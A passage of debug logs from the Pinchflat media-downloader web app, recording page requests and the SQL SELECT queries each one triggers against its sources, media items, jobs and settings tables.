t0."media_item_id" [90907] 06:46:00.440 [debug] QUERY OK source="sources" db=0.8ms idle=474.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:00.442 [debug] QUERY OK source="oban_jobs" db=0.9ms idle=373.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6791, 6809, 6828, 6847, 6864, 6882, 6909, 6927, 6944, 6963, 6980, 6996, 7013, 7029, 7047, 7063, 7080, 7097, 7113, 7130, 7146, 7164, 7180, 7197, 7216, 7233, 7252, 7268, 7285] 06:46:00.442 [debug] QUERY OK source="settings" db=0.0ms idle=113.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:00.442 [debug] QUERY OK source="settings" db=0.0ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:00.443 [debug] QUERY OK source="settings" db=0.0ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:00.443 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:00.447 [info] Sent 200 in 10ms 06:46:00.919 [info] GET /sources/31/media/90894 06:46:00.920 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90894", "source_id" => "31"} Pipelines: [:browser] 06:46:00.921 [debug] QUERY OK source="media_items" db=0.6ms idle=478.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90894] 06:46:00.923 [debug] QUERY OK source="tasks" db=0.8ms idle=479.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90894] 06:46:00.923 [debug] QUERY OK source="sources" db=0.9ms idle=479.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:00.925 [debug] QUERY OK source="oban_jobs" db=1.3ms idle=480.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6790, 6808, 6827, 6846, 6863, 6881, 6908, 6926, 6943, 6962, 6979, 6995, 7012, 7028, 7046, 7062, 7079, 7096, 7112, 7129, 7145, 7163, 7179, 7196, 7215, 7232, 7251, 7267, 7284] 06:46:00.926 [debug] QUERY OK source="settings" db=0.1ms idle=482.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:00.926 [debug] QUERY OK source="settings" db=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:00.927 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:00.927 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:00.930 [info] Sent 200 in 10ms 06:46:01.296 [info] GET /sources/31/media/90892 06:46:01.297 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90892", "source_id" => "31"} Pipelines: [:browser] 06:46:01.298 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=372.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90892] 06:46:01.300 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=372.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90892] 06:46:01.301 [debug] QUERY OK source="sources" db=1.7ms idle=372.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:01.302 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=374.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6789, 6807, 6826, 6845, 6862, 6880, 6907, 6925, 6942, 6961, 6978, 6994, 7011, 7027, 7045, 7061, 7078, 7095, 7111, 7128, 7144, 7162, 7178, 7195, 7214, 7231, 7250, 7266, 7283] 06:46:01.303 [debug] QUERY OK source="settings" db=0.1ms idle=375.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:01.303 [debug] QUERY OK source="settings" db=0.0ms idle=4.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:01.303 [debug] QUERY OK source="settings" db=0.0ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:01.304 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:01.307 [info] Sent 200 in 10ms 06:46:01.696 [info] GET /sources/31/media/90767 06:46:01.696 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "90767", "source_id" => "31"} Pipelines: [:browser] 06:46:01.698 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=394.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [90767] 06:46:01.700 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=395.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [90767] 06:46:01.701 [debug] QUERY OK source="sources" db=1.9ms queue=0.1ms idle=395.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 06:46:01.703 [debug] QUERY OK source="oban_jobs" db=1.0ms idle=397.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6788, 6806, 6825, 6844, 6861, 6879, 6906, 6924, 6941, 6960, 6977, 6993, 7010, 7026, 7044, 7060, 7077, 7094, 7110, 7127, 7143, 7161, 7177, 7194, 7213, 7230, 7249, 7265, 7282] 06:46:01.704 [debug] QUERY OK source="settings" db=0.1ms idle=374.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:01.704 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:01.705 [debug] QUERY OK source="settings" db=0.1ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:01.705 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:01.708 [info] Sent 200 in 12ms 06:46:02.148 [info] GET /media_profiles/2 06:46:02.148 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 06:46:02.151 [info] GET /media_profiles/1/edit 06:46:02.151 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 06:46:02.151 [debug] QUERY OK source="media_profiles" db=1.4ms queue=1.0ms idle=445.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.151 [info] GET /media_profiles/1 06:46:02.151 [info] GET /sources/32/ 06:46:02.151 [info] GET /media_profiles/2/edit 06:46:02.151 [info] GET /sources/new 06:46:02.151 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 06:46:02.151 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:46:02.151 [info] GET /download_logs 06:46:02.151 [info] GET /media_profiles/2/ 06:46:02.151 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 06:46:02.151 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 06:46:02.152 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 06:46:02.151 [info] GET /media_profiles/new 06:46:02.151 [info] GET /sources/32/edit 06:46:02.152 [info] GET /sources/32 06:46:02.151 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 06:46:02.152 [info] GET /sources/33 06:46:02.152 [debug] QUERY OK source="media_profiles" db=0.5ms idle=447.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.152 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:46:02.152 [info] GET /sources/35/edit 06:46:02.152 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.new/2 Parameters: %{} Pipelines: [:browser] 06:46:02.152 [info] GET /sources/33/ 06:46:02.152 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:46:02.152 [info] GET /sources/32/ 06:46:02.152 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "35"} Pipelines: [:browser] 06:46:02.152 [info] GET /media_profiles/1/ 06:46:02.152 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:46:02.152 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "33"} Pipelines: [:browser] 06:46:02.152 [info] Sent 200 in 642µs 06:46:02.152 [debug] QUERY OK source="media_profiles" db=0.4ms idle=447.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:46:02.152 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 06:46:02.152 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:46:02.152 [debug] QUERY OK source="sources" db=0.7ms idle=447.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 06:46:02.152 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.152 [debug] QUERY OK source="sources" db=0.5ms idle=0.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.153 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.4ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 06:46:02.153 [debug] QUERY OK source="media_profiles" db=1.2ms idle=446.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 06:46:02.153 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.153 [debug] QUERY OK source="settings" db=0.8ms queue=0.3ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.154 [debug] QUERY OK source="settings" db=0.7ms queue=0.5ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:46:02.154 [debug] QUERY OK source="sources" db=1.5ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:46:02.154 [debug] QUERY OK source="sources" db=1.5ms queue=0.2ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 06:46:02.155 [debug] QUERY OK source="sources" db=1.2ms queue=1.0ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 06:46:02.155 [debug] QUERY OK source="sources" db=1.2ms queue=1.4ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 06:46:02.155 [debug] QUERY OK source="sources" db=0.2ms queue=2.6ms idle=0.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 